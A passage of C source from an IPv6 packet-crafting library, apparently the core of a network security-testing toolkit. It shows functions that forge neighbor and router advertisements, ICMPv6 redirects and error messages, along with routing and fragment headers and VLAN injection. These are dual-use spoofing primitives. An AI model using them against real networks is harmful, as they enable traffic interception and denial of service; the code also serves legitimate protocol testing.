thc_destroy_packet(pkt); return ret; } int thc_neighboradv6(char *interface, unsigned char *src, unsigned char *dst, unsigned char *srcmac, unsigned char *dstmac, unsigned int flags, unsigned char *target) { unsigned char *pkt = NULL, *mysrc, *mydst, *mysrcmac; int pkt_len; unsigned char buf[24]; int ret; if (src == NULL) mysrc = thc_get_own_ipv6(interface, dst, PREFER_LINK); else mysrc = src; if (target == NULL) target = mysrc; if (dst == NULL) mydst = thc_resolve6("ff02:0:0:0:0:0:0:1"); else mydst = dst; if (srcmac == NULL) mysrcmac = thc_get_own_mac(interface); else mysrcmac = srcmac; memcpy(buf, target, 16); if (mysrcmac != NULL) { buf[16] = 2; buf[17] = 1; memcpy(&buf[18], mysrcmac, 6); } if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, mysrc, mydst, 0, 0, 0, 0, 0)) == NULL) { if (dst == NULL) free(mydst); if (src == NULL) free(mysrc); if (srcmac == NULL) free(mysrcmac); return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, flags, (unsigned char *)&buf, sizeof(buf), 0) < 0) { if (dst == NULL) free(mydst); if (src == NULL) free(mysrc); if (srcmac == NULL) free(mysrcmac); return -1; } ret = thc_generate_and_send_pkt(interface, mysrcmac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); if (dst == NULL) free(mydst); if (src == NULL) free(mysrc); if (srcmac == NULL) free(mysrcmac); return ret; } int thc_routersol6(char *interface, unsigned char *src, unsigned char *dst, unsigned char *srcmac, unsigned char *dstmac) { unsigned char *pkt = NULL, *mydst; int pkt_len; int ret; // unsigned char buf[8]; if (dst == NULL) mydst = thc_resolve6("ff02:0:0:0:0:0:0:2"); else mydst = dst; // memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src, mydst, 0, 0, 0, 0, 0)) == NULL) { if (dst == NULL) free(mydst); return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERSOL, 0, 0, NULL, 0 /*(unsigned char*)&buf, sizeof(buf) */, 0) < 0) { if (dst == NULL) free(mydst); return -1; } ret = thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); if (dst == NULL) free(mydst); return ret; } int thc_neighborsol6(char *interface, unsigned char *src, unsigned char *dst, unsigned char *target, unsigned char *srcmac, unsigned char *dstmac) { unsigned char *pkt = NULL, *mysrc, *mymac = NULL, *mydst; int pkt_len; unsigned char buf[24]; int ret; if (target == NULL && dst == NULL) return -1; if (src == NULL) { if (dst != NULL) mysrc = thc_get_own_ipv6(interface, dst, PREFER_LINK); else if (target != NULL) mysrc = thc_get_own_ipv6(interface, target, PREFER_LINK); else mysrc = thc_get_own_ipv6(interface, NULL, PREFER_LINK); } else mysrc = src; if (srcmac == NULL) mymac = thc_get_own_mac(interface); else mymac = srcmac; if (dst == NULL) { // mydst = thc_resolve6("ff02::1"); // we could do a limited multicast // here but we dont mydst = thc_resolve6("ff02::1:ff00:0"); memcpy(mydst + 13, target + 13, 3); } else mydst = dst; if (target == NULL) target = mydst; memcpy(buf, target, 16); if (mymac != NULL) { buf[16] = 1; buf[17] = 1; memcpy(&buf[18], mymac, 6); } // XXX TODO FIXME: check if dst ip6 in ip6 header is target ip or multicast if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, mysrc, mydst, 0, 0, 0, 0, 0)) == NULL) { if (dst == NULL) free(mydst); if (src == NULL) free(mysrc); if (srcmac == NULL) free(mymac); return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *)&buf, 24, 0) < 0) { if (dst == NULL) free(mydst); if (src == NULL) free(mysrc); if (srcmac == NULL) free(mymac); return -1; } ret = thc_generate_and_send_pkt(interface, mymac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); if (dst == NULL) free(mydst); if (src == NULL) free(mysrc); if (srcmac == NULL) free(mymac); return ret; } int thc_routeradv6(char *interface, unsigned char *src, unsigned char *dst, unsigned char *srcmac, unsigned char default_ttl, int managed, unsigned char *prefix, int prefixlen, int mtu, unsigned int lifetime) { unsigned char *pkt = NULL, *mysrc, *mydst, *mymac; int pkt_len, ret = 0; unsigned char buf[56]; unsigned int flags; if (prefix == NULL) return -1; if (src == NULL) mysrc = thc_get_own_ipv6(interface, NULL, PREFER_LINK); else mysrc = src; if (srcmac == NULL) mymac = thc_get_own_mac(interface); else mymac = srcmac; if (dst == NULL) mydst = thc_resolve6("ff02:0:0:0:0:0:0:1"); else mydst = dst; flags = default_ttl << 24; if (managed) flags += (128 + 64 + 32 + 8) << 16; flags += (lifetime > 65535 ? 65535 : lifetime); memset(buf, 0, sizeof(buf)); buf[1] = 250; // this defaults reachability checks to approx 1 minute buf[5] = 30; // this defaults neighbor solitication messages to aprox 15 seconds // options start at byte 12 // mtu buf[8] = 5; buf[9] = 1; if (mtu) { buf[12] = mtu / 16777216; buf[13] = (mtu % 16777216) / 65536; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; } // prefix info buf[16] = 3; buf[17] = 4; buf[18] = prefixlen; if (managed) buf[19] = 128 + 64 + 32 + 16; if (lifetime) { buf[20] = lifetime / 16777216; buf[21] = (lifetime % 16777216) / 65536; buf[22] = (lifetime % 65536) / 256; buf[23] = lifetime % 256; memcpy(&buf[24], &buf[20], 4); } // 4 bytes reserved memcpy(&buf[32], prefix, 16); // source link buf[48] = 1; buf[49] = 1; if (mymac != NULL) memcpy(&buf[50], mymac, 6); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, mysrc, mydst, 0, 0, 0, 0, 0)) == NULL) { if (dst == NULL) free(mydst); if (src == NULL) free(mysrc); if (srcmac == NULL) free(mymac); return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, flags, (unsigned char *)&buf, sizeof(buf), 0) < 0) { if (dst == NULL) free(mydst); if (src == NULL) free(mysrc); if (srcmac == NULL) free(mymac); return -1; } ret = thc_generate_and_send_pkt(interface, mymac, NULL, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); if (dst == NULL) free(mydst); if (src == NULL) free(mysrc); if (srcmac == NULL) free(mymac); return ret; } int thc_toobig6(char *interface, unsigned char *src, unsigned char *srcmac, unsigned char *dstmac, unsigned int mtu, unsigned char *orig_pkt, int orig_pkt_len) { unsigned char *pkt = NULL, *dst; int pkt_len; unsigned char buf[1500]; int buflen = orig_pkt_len, ret; // if (orig_pkt_len > 0) // buflen = orig_pkt_len > mtu - 48 ? mtu - 48 : orig_pkt_len; if (buflen < 1) return -1; if (buflen > thc_get_mtu(interface) - 48) buflen = thc_get_mtu(interface) - 48 - do_hdr_size; memcpy(buf, orig_pkt, buflen); dst = orig_pkt + 8; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_TOOBIG, 0, mtu, (unsigned char *)&buf, buflen, 0) < 0) return -1; ret = thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); return ret; } int thc_paramprob6(char *interface, unsigned char *src, unsigned char *srcmac, unsigned char *dstmac, unsigned char code, unsigned int pointer, unsigned char *orig_pkt, int orig_pkt_len) { unsigned char *pkt = NULL, *dst; int pkt_len, ret; unsigned char buf[1022]; if (orig_pkt_len > 0) memcpy(buf, orig_pkt, orig_pkt_len > 1022 ? 1022 : orig_pkt_len); dst = orig_pkt + 8; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PARAMPROB, code, pointer, (unsigned char *)&buf, orig_pkt_len > 1022 ? 1022 : orig_pkt_len, 0) < 0) return -1; ret = thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); return ret; } int thc_unreach6(char *interface, unsigned char *src, unsigned char *srcmac, unsigned char *dstmac, unsigned char code, unsigned char *orig_pkt, int orig_pkt_len) { unsigned char *pkt = NULL, *dst; int pkt_len, ret; unsigned char buf[1022]; if (orig_pkt_len > 0) memcpy(buf, orig_pkt, orig_pkt_len > 1022 ? 1022 : orig_pkt_len); dst = orig_pkt + 8; if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_UNREACH, code, 0, (unsigned char *)&buf, orig_pkt_len > 1022 ? 1022 : orig_pkt_len, 0) < 0) return -1; ret = thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); return ret; } int thc_redir6(char *interface, unsigned char *src, unsigned char *srcmac, unsigned char *dstmac, unsigned char *newrouter, unsigned char *newroutermac, unsigned char *orig_pkt, int orig_pkt_len) { unsigned char *pkt = NULL, dst[16], osrc[16]; int pkt_len, ret; unsigned char buf[1070]; memset(buf, 0, sizeof(buf)); memcpy(dst, orig_pkt + 8, 16); memcpy(osrc, orig_pkt + 24, 16); memcpy(buf, newrouter, 16); memcpy(&buf[16], osrc, 16); buf[32] = 2; buf[33] = 1; memcpy(&buf[34], newroutermac, 6); buf[40] = 4; buf[41] = orig_pkt_len > 1022 ? 128 : (orig_pkt_len + 8) / 8; if ((orig_pkt_len + 8) % 8 > 0) buf[41] += 1; if (orig_pkt_len > 0) memcpy(buf + 48, orig_pkt, orig_pkt_len > 1022 ? 1022 : orig_pkt_len); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src, dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_REDIR, 0, 0, (unsigned char *)&buf, orig_pkt_len > 1022 ? 1042 : orig_pkt_len + 48, 0) < 0) return -1; ret = thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); return ret; } unsigned char *thc_create_ipv6_extended(char *interface, int prefer, int *pkt_len, unsigned char *src, unsigned char *dst, int ttl, int length, int label, int class, int version) { thc_ipv6_hdr * hdr; unsigned char *my_src; char * pkt = NULL; *pkt_len = 40; pkt = malloc(sizeof(thc_ipv6_hdr)); hdr = (thc_ipv6_hdr *)pkt; if (pkt == NULL) return NULL; hdr->pkt = NULL; hdr->pkt_len = 0; if (src == NULL) my_src = thc_get_own_ipv6(interface, dst, prefer); else my_src = src; if (dst == NULL || my_src == NULL) { if (src == NULL) free(my_src); free(pkt); return NULL; } memcpy(hdr->src, my_src, 16); memcpy(hdr->dst, dst, 16); hdr->final_dst = hdr->dst; hdr->original_src = hdr->src; if (version == 0) hdr->version = 6; else if (version == -1) hdr->version = 0; else hdr->version = version; if (length == -1) hdr->length = 0; else hdr->length = length; if (class == -1) hdr->class = 0; else hdr->class = class; if (label == -1) hdr->label = 0; else hdr->label = label; if (ttl == 0) hdr->ttl = 255; else if (ttl == -1) hdr->ttl = 0; else hdr->ttl = ttl; hdr->next_segment = NULL; hdr->final = NULL; hdr->next = NXT_NONXT; hdr->final_type = NXT_NONXT; if (src == NULL) free(my_src); return pkt; } unsigned char *thc_create_ipv6(char *interface, int *pkt_len, unsigned char *src, unsigned char *dst) { return thc_create_ipv6_extended( interface, dst != NULL && *dst == 0xff ? PREFER_LINK : PREFER_GLOBAL, pkt_len, src, dst, 255, 0, 0, 0, 0); } // XXX TODO FIXME int thc_add_ipv4_extended(unsigned char *pkt, int *pkt_len, int src, int dst, unsigned char tos, int id, unsigned char ttl) { thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; thc_ipv6_ext_hdr *ehdr = (thc_ipv6_ext_hdr *)hdr->final, *nehdr = malloc(sizeof(thc_ipv6_ext_hdr)); unsigned char *buf2 = malloc(20), type = NXT_IP4; if (nehdr == NULL || hdr == NULL || buf2 == NULL) { if (buf2 != NULL) free(buf2); if (nehdr != NULL) free(nehdr); return -1; } if (ehdr == NULL) { hdr->next = type; hdr->next_segment = (char *)nehdr; } else { ehdr->next = type; ehdr->next_segment = (char *)nehdr; } hdr->final = (char *)nehdr; hdr->final_type = type; memset(buf2, 0, 20); buf2[0] = 0x45; buf2[3] = 20; // needs to be updated at final! buf2[4] = getpid() % 256; buf2[5] = getpid() / 256; buf2[8] = 0xff; buf2[9] = NXT_NONXT; // needs to be updated at final! memcpy(buf2 + 12, (char *)&src + _TAKE4, 4); memcpy(buf2 + 16, (char *)&dst + _TAKE4, 4); /* // needs to be updated at final! checksum = checksum_pseudo_header(NULL, NULL, NXT_IP4, buf2, 20); buf2[10] = checksum / 256; buf2[11] = checksum % 256; */ nehdr->next_segment = NULL; nehdr->next = NXT_NONXT; nehdr->data = buf2; nehdr->data_len = 20; nehdr->length = 20; hdr->length += 20; *pkt_len += 20; return 0; } int thc_add_ipv4(unsigned char *pkt, int *pkt_len, int src, int dst) { return thc_add_ipv4_extended(pkt, pkt_len, src, dst, 0, 0, 64); } int thc_add_ipv4_rudimentary(unsigned char *pkt, int *pkt_len, int src4, int dst4, int sport, int port) { #define THC_IPv4_RUDIMENTARY_LEN (20 + 16) thc_ipv6_hdr *hdr = (thc_ipv6_hdr *)pkt; char * ihdr = malloc(THC_IPv4_RUDIMENTARY_LEN); // ipv4 hdr + udp/icmp + 8 data thc_ipv6_ext_hdr *ehdr; int checksum; if (ihdr == NULL) return -1; memset(ihdr, 0, THC_IPv4_RUDIMENTARY_LEN); if (hdr->final != NULL) { ehdr = (thc_ipv6_ext_hdr *)hdr->final; ehdr->next_segment = (char *)ihdr; ehdr->next = NXT_IP4_RUDIMENTARY; } else { hdr->next_segment = (char *)ihdr; hdr->next = NXT_IP4_RUDIMENTARY; } hdr->final = (char *)ihdr; hdr->final_type = NXT_IP4_RUDIMENTARY; // set ihdr buffer memset(ihdr + 28, 'A', 8); ihdr[0] = 0x45; ihdr[3] = THC_IPv4_RUDIMENTARY_LEN; ihdr[4] = getpid() % 256; ihdr[5] = getpid() / 256; ihdr[6] = 64; // dont fragment bit ihdr[8] = 63; // TTL if (port == -1) { ihdr[9] = NXT_ICMP4; ihdr[20] = 8; // ICMPv4 Echo Request ihdr[22] = 0x00; // checksum ihdr[23] = 0x00; // checksum ihdr[24] = sport / 256; ihdr[25] = sport % 256; ihdr[26] = 3; ihdr[27] = 4; checksum = checksum_pseudo_header(NULL, NULL, NXT_ICMP4, ihdr + 20, THC_IPv4_RUDIMENTARY_LEN - 20); ihdr[22] = (((unsigned)checksum / 256) % 256); ihdr[23] = (unsigned)checksum % 256; } else { ihdr[9] = NXT_UDP; ihdr[20] = sport / 256; // srcport ihdr[21] = sport % 256; // srcport ihdr[22] = (port / 256) % 256; ihdr[23] = port % 256; ihdr[25] = 8; // udp pkt length // no checksum } memcpy(ihdr + 12, (char *)&src4 + _TAKE4, 4); memcpy(ihdr + 16, (char *)&dst4 + _TAKE4, 4); checksum = checksum_pseudo_header(NULL, NULL, NXT_IP4, ihdr, 20); ihdr[10] = (((unsigned)checksum / 256) % 256); ihdr[11] = (unsigned)checksum % 256; hdr->length += THC_IPv4_RUDIMENTARY_LEN; *pkt_len += THC_IPv4_RUDIMENTARY_LEN; return 0; } int thc_add_hdr_misc(unsigned char *pkt, int *pkt_len, unsigned char type, int len, unsigned char *buf, int buflen) { thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; thc_ipv6_ext_hdr *ehdr = (thc_ipv6_ext_hdr *)hdr->final, *nehdr = malloc(sizeof(thc_ipv6_ext_hdr)); unsigned char *buf2 = malloc((buflen % 8 == 6 ? buflen : (((buflen + 1) / 8) * 8) + 6)); if (nehdr == NULL || hdr == NULL || buf == NULL || buf2 == NULL) { if (buf2 != NULL) free(buf2); if (nehdr != NULL) free(nehdr); return -1; } if (ehdr == NULL) { hdr->next = type; hdr->next_segment = (char *)nehdr; } else { ehdr->next = type; ehdr->next_segment = (char *)nehdr; } hdr->final = (char *)nehdr; hdr->final_type = type; memset(buf2, 0, (buflen % 8 == 6 ? buflen : (((buflen + 1) / 8) * 8) + 6)); memcpy(buf2, buf, buflen); nehdr->next_segment = NULL; nehdr->next = NXT_NONXT; nehdr->data = buf2; nehdr->data_len = (buflen % 8 == 6 ? buflen : (((buflen + 1) / 8) * 8) + 6); if (len == -1) nehdr->length = (nehdr->data_len + 1) / 8; else nehdr->length = len % 256; hdr->length += (buflen % 8 == 6 ? buflen + 2 : (((buflen + 1) / 8) * 8) + 6 + 2); *pkt_len += (buflen % 8 == 6 ? buflen + 2 : (((buflen + 1) / 8) * 8) + 6 + 2); return 0; } int thc_add_hdr_route(unsigned char *pkt, int *pkt_len, unsigned char **routers, unsigned char routerptr) { thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; thc_ipv6_ext_hdr *ehdr = (thc_ipv6_ext_hdr *)hdr->final, *nehdr = malloc(sizeof(thc_ipv6_ext_hdr)); int i = 0, j; unsigned char *buf; if (nehdr == NULL || hdr == NULL) { free(nehdr); return -1; } if (ehdr == NULL) { hdr->next = NXT_ROUTE; hdr->next_segment = (char *)nehdr; } else { ehdr->next = NXT_ROUTE; ehdr->next_segment = (char *)nehdr; } hdr->final = (char *)nehdr; hdr->final_type = NXT_ROUTE; while (routers[i] != NULL) i++; if (i > 23) if (_thc_ipv6_showerrors) fprintf(stderr, "Warning: IPv6 Routing Header is adding more than 23 targets, " "packet might be dropped by destination\n"); if (i == 0) if (_thc_ipv6_showerrors) fprintf(stderr, "Warning: IPv6 Routing Header added without routing targets\n"); if ((buf = malloc(i * 16 + 2 + 4)) == NULL) { free(nehdr); return -1; } memset(buf, 0, i * 16 + 2 + 4); buf[1] = routerptr; // byte 0 = type; byte 2 reserved; bytes 3-5: loose source routing for (j = 0; j < i; j++) memcpy(buf + 6 + j * 16, routers[j], 16); nehdr->next_segment = NULL; nehdr->next = NXT_NONXT; nehdr->data = buf; nehdr->data_len = i * 16 + 2 + 4; nehdr->length = i * 2; hdr->length += nehdr->data_len + 2; *pkt_len += nehdr->data_len + 2; if (i > 0 && routerptr > 0) hdr->final_dst = nehdr->data + 6 + (i - 1) * 16; return 0; } int thc_add_hdr_mobileroute(unsigned char *pkt, int *pkt_len, unsigned char *dst) { thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; thc_ipv6_ext_hdr *ehdr = (thc_ipv6_ext_hdr *)hdr->final, *nehdr = malloc(sizeof(thc_ipv6_ext_hdr)); unsigned char *buf; if (nehdr == NULL || hdr == NULL) { free(nehdr); return -1; } if (ehdr == NULL) { hdr->next = NXT_ROUTE; hdr->next_segment = (char *)nehdr; } else { ehdr->next = NXT_ROUTE; ehdr->next_segment = (char *)nehdr; } hdr->final = (char *)nehdr; hdr->final_type = NXT_ROUTE; if ((buf = malloc(16 + 2 + 4)) == NULL) { free(nehdr); return -1; } memset(buf, 0, 16 + 2 + 4); // byte 0 = type; 1 = routers to do; byte 2 reserved; bytes 3-5: loose source // routing buf[0] = 2; buf[1] = 1; memcpy(buf + 6, dst, 16); nehdr->next_segment = NULL; nehdr->next = NXT_NONXT; nehdr->data = buf; nehdr->data_len = 16 + 2 + 4; nehdr->length = 2; hdr->length += nehdr->data_len + 2; *pkt_len += nehdr->data_len + 2; hdr->final_dst = nehdr->data + 6; return 0; } int thc_add_hdr_oneshotfragment(unsigned char *pkt, int *pkt_len, unsigned int id) { unsigned char buf[6]; int pid; memset(buf, 0, sizeof(buf)); if (id == 0) { pid = getpid(); memcpy(buf + 2, (char *)&pid + _TAKE4, 4); buf[4] = 0xb0; // IDS support buf[5] = 0x0b; } else memcpy(buf + 2, (char *)&id + _TAKE4, 4); return thc_add_hdr_misc(pkt, pkt_len, NXT_FRAG, -1, buf, sizeof(buf)); } int thc_add_hdr_fragment(unsigned char *pkt, int *pkt_len, int offset, char more_frags, unsigned int id) { thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; thc_ipv6_ext_hdr *ehdr = (thc_ipv6_ext_hdr *)hdr->final, *nehdr = malloc(sizeof(thc_ipv6_ext_hdr)); unsigned char *buf = malloc(6); int coffset = (offset > 8191 ? 8191 : offset) << 3; if (offset > 8191) { if (_thc_ipv6_showerrors) fprintf( stderr, "Error: fragment offset can not be larger than 8191 (2^13 - 1)\n"); free(nehdr); free(buf); return -1; } if (nehdr == NULL || hdr == NULL || buf == NULL) { free(nehdr); free(buf); return -1; } if (ehdr == NULL) { hdr->next = NXT_FRAG; hdr->next_segment = (char *)nehdr; } else { ehdr->next = NXT_FRAG; ehdr->next_segment = (char *)nehdr; } hdr->final = (char *)nehdr; hdr->final_type = NXT_FRAG; if (more_frags) coffset++; memset(buf, 0, 6); buf[0] = coffset / 256; buf[1] = coffset % 256; buf[2] = id / 16777216; buf[3] = (id % 16777216) / 65536; buf[4] = (id % 65536) / 256; buf[5] = id % 256; nehdr->next_segment = NULL; nehdr->next = NXT_NONXT; nehdr->data = buf; nehdr->data_len = 6; nehdr->length = (nehdr->data_len + 1) / 8; hdr->length += nehdr->data_len + 2; *pkt_len += nehdr->data_len + 2; return 0; } int thc_add_hdr_dst(unsigned char *pkt, int *pkt_len, unsigned char *buf, int buflen) { return thc_add_hdr_misc(pkt, pkt_len, NXT_OPTS, -1, buf, buflen); } int thc_add_hdr_hopbyhop(unsigned char *pkt, int *pkt_len, unsigned char *buf, int buflen) { return thc_add_hdr_misc(pkt, pkt_len, NXT_HDR, -1, buf, buflen); } int thc_add_hdr_nonxt(unsigned char *pkt, int *pkt_len, int hdropt) { thc_ipv6_hdr *hdr = (thc_ipv6_hdr *)pkt; if (hdr->final_type == NXT_NONXT) { // nothing to be done, its the default } else { switch (hdr->final_type) { case NXT_IP6: case NXT_HDR: case NXT_ROUTE: case NXT_FRAG: case NXT_OPTS: case NXT_ESP: case NXT_AH: // nothing to be done as its the default break; default: if (_thc_ipv6_showerrors) fprintf(stderr, "Warning: Not possible to attach a no-next-header attribute " "if the last header is a icmp/tcp/udp/data segment\n"); } } return 0; } int thc_add_icmp6(unsigned char *pkt, int *pkt_len, int type, int code, unsigned int flags, unsigned char *data, int data_len, int checksum) { thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; thc_icmp6_hdr * ihdr = malloc(sizeof(thc_icmp6_hdr)); thc_ipv6_ext_hdr *ehdr; if (ihdr == NULL) return -1; memset(ihdr, 0, sizeof(thc_icmp6_hdr)); if (hdr->final != NULL) { ehdr = (thc_ipv6_ext_hdr *)hdr->final; ehdr->next_segment = (char *)ihdr; ehdr->next = NXT_ICMP6; } else { hdr->next_segment = (char *)ihdr; hdr->next = NXT_ICMP6; } hdr->final = (char *)ihdr; hdr->final_type = NXT_ICMP6; ihdr->type = type; ihdr->code = code; ihdr->flags = flags; if (checksum == 0) { ihdr->checksum = DO_CHECKSUM; } else ihdr->checksum = checksum; if (data_len > 0 && data != NULL) { if ((ihdr->data = malloc(data_len)) == NULL) return -1; ihdr->data_len = data_len; memcpy(ihdr->data, data, data_len); } else { ihdr->data = NULL; ihdr->data_len = 0; } hdr->length += data_len + 8; *pkt_len += data_len + 8; return 0; } int thc_add_tcp(unsigned char *pkt, int *pkt_len, unsigned short int sport, unsigned short int dport, unsigned int sequence, unsigned int ack, unsigned char flags, unsigned short int window, unsigned short int urgent, char *option, int option_len, char *data, int data_len) { thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; thc_tcp_hdr * ihdr = malloc(sizeof(thc_tcp_hdr)); thc_ipv6_ext_hdr *ehdr; int i = option_len; if (ihdr == NULL) return -1; memset(ihdr, 0, sizeof(thc_tcp_hdr)); if (hdr->final != NULL) { ehdr = (thc_ipv6_ext_hdr *)hdr->final; ehdr->next_segment = (char *)ihdr; ehdr->next = NXT_TCP; } else { hdr->next_segment = (char *)ihdr; hdr->next = NXT_TCP; } hdr->final = (char *)ihdr; hdr->final_type = NXT_TCP; ihdr->sport = sport; ihdr->dport = dport; ihdr->sequence = sequence; ihdr->ack = ack; ihdr->flags = flags; ihdr->window = window; ihdr->urgent = urgent; // if (checksum == 0) { ihdr->checksum = DO_CHECKSUM; // } else // ihdr->checksum = checksum; if (data_len > 0 && data != NULL) { ihdr->data = malloc(data_len); ihdr->data_len = data_len; memcpy(ihdr->data, data, data_len); } else { ihdr->data = NULL; ihdr->data_len = 0; } if (option_len > 0 && option != NULL) { if ((i = option_len) % 4 > 0) option_len = (((option_len / 4) + 1) * 4); ihdr->option = malloc(option_len); ihdr->option_len = option_len; memcpy(ihdr->option, option, i); } else { ihdr->option = NULL; ihdr->option_len = 0; } i = (20 + option_len) / 4; ihdr->length = ((i % 16) * 16) + (i / 16); hdr->length += data_len + 20 + option_len; *pkt_len += data_len + 20 + option_len; return 0; } int thc_add_udp(unsigned char *pkt, int *pkt_len, unsigned short int sport, unsigned short int dport, unsigned int checksum, char *data, int data_len) { thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; thc_udp_hdr * ihdr = malloc(sizeof(thc_udp_hdr)); thc_ipv6_ext_hdr *ehdr; if (ihdr == NULL) return -1; memset(ihdr, 0, sizeof(thc_udp_hdr)); if (hdr->final != NULL) { ehdr = (thc_ipv6_ext_hdr *)hdr->final; ehdr->next_segment = (char *)ihdr; ehdr->next = NXT_UDP; } else { hdr->next_segment = (char *)ihdr; hdr->next = NXT_UDP; } hdr->final = (char *)ihdr; hdr->final_type = NXT_UDP; ihdr->sport = sport; ihdr->dport = dport; if (checksum == 0) { ihdr->checksum = DO_CHECKSUM; } else ihdr->checksum = checksum; if (data_len > 0 && data != NULL) { ihdr->data = malloc(data_len); ihdr->data_len = data_len; memcpy(ihdr->data, data, data_len); } else { ihdr->data = NULL; ihdr->data_len = 0; } ihdr->length = data_len + 8; hdr->length += data_len + 8; *pkt_len += data_len + 8; return 0; } int thc_add_pim(unsigned char *pkt, int *pkt_len, unsigned char type, unsigned char *data, int data_len) { thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; thc_ipv6_ext_hdr *ehdr = (thc_ipv6_ext_hdr *)hdr->final, *nehdr = malloc(sizeof(thc_ipv6_ext_hdr)); unsigned char *buf = malloc(data_len + 4); if (nehdr == NULL || hdr == NULL || buf == NULL) { free(nehdr); free(buf); return -1; } if (ehdr == NULL) { hdr->next = NXT_PIM; hdr->next_segment = (char *)nehdr; } else { ehdr->next = NXT_PIM; ehdr->next_segment = (char *)nehdr; } hdr->final = (char *)nehdr; hdr->final_type = NXT_PIM; buf[0] = type % 16; buf[0] += 32; // ensure we set a PIM version (here: v2) buf[1] = 0; // byte 1: reserved, 2+3: checksum memcpy(buf + 4, data, data_len); nehdr->next_segment = NULL; nehdr->next = type; nehdr->data = buf; nehdr->data_len = data_len + 4; hdr->length += data_len + 4; *pkt_len += data_len + 4; return 0; } int thc_add_data6(unsigned char *pkt, int *pkt_len, unsigned char type, unsigned char *data, int data_len) { thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; thc_ipv6_ext_hdr *ehdr = (thc_ipv6_ext_hdr *)hdr->final, *nehdr = malloc(sizeof(thc_ipv6_ext_hdr)); unsigned char *buf = malloc(data_len); if (nehdr == NULL || hdr == NULL || buf == NULL) { free(nehdr); free(buf); return -1; } if (ehdr == NULL) { hdr->next = NXT_DATA; hdr->next_segment = (char *)nehdr; } else { ehdr->next = NXT_DATA; ehdr->next_segment = (char *)nehdr; } hdr->final = (char *)nehdr; hdr->final_type = NXT_DATA; memcpy(buf, data, data_len); nehdr->next_segment = NULL; nehdr->next = type; nehdr->data = buf; nehdr->data_len = data_len; hdr->length += data_len; *pkt_len += data_len; return 0; } int thc_open_ipv6(char *interface) { char * ptr, *ptr2, tbuf[6], vbuf[4]; int i = 0; int ret; struct sockaddr_in servaddr; struct sockaddr_ll sock_ll = { sll_family : AF_PACKET, sll_protocol : ETH_P_IPV6, sll_halen : ETH_ALEN, }; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); memset(&sock_ll, 0, sizeof(sock_ll)); sock_ll.sll_family = AF_PACKET; sock_ll.sll_protocol = ETH_P_IPV6; sock_ll.sll_halen = ETH_ALEN; if (thc_socket >= 0) return thc_socket; if (getenv("THC_IPV6_RAW") != NULL || getenv("THC_IPV6_RAWMODE") != NULL) thc_ipv6_rawmode(1); if ((ptr = getenv("THC_IPV6_VLAN")) != NULL && strlen(ptr) > 0) { ptr = strdup(ptr); ptr2 = ptr; i = 0; while ((ptr2 = index(ptr2, ',')) != NULL) { i++; ptr2++; } if (i != 2) { fprintf(stderr, "Error: wrong Syntax in THC_IPV6_VLAN variable: " "source_mac,dst_mac,vlan_id - e.g. " "01:02:03:04:05:06,07:08:09:a0:a1:a2,7\n"); exit(-1); } ptr2 = strtok(ptr, ","); ptr2 = strtok(NULL, ","); ptr2 = strtok(NULL, ","); i = atoi(ptr2); if (strlen(ptr) < 1 || i < 0 || i > 4097 || (i == 0 && ptr[0] != '0')) { fprintf(stderr, "Error: wrong Syntax in THC_IPV6_VLAN variable: " "srcmac,dstmac,vlan-id - e.g. " "01:02:03:04:05:06,1a:1b:1c:1d:1e:1f,7\n"); exit(-1); } vbuf[0] = 0x81; vbuf[1] = 0x00; vbuf[2] = i / 256; vbuf[3] = i % 256; do_hdr_vlan = 1; do_hdr_off = 4; free(ptr); printf("Information: VLAN injection/sniffing activated\n"); } if ((ptr = getenv("THC_IPV6_PPPOE")) != NULL && strlen(ptr) > 0) { i = 0; do_pppoe = 1; do_hdr_size = _PPPOE_HDR_SIZE + do_hdr_off; if 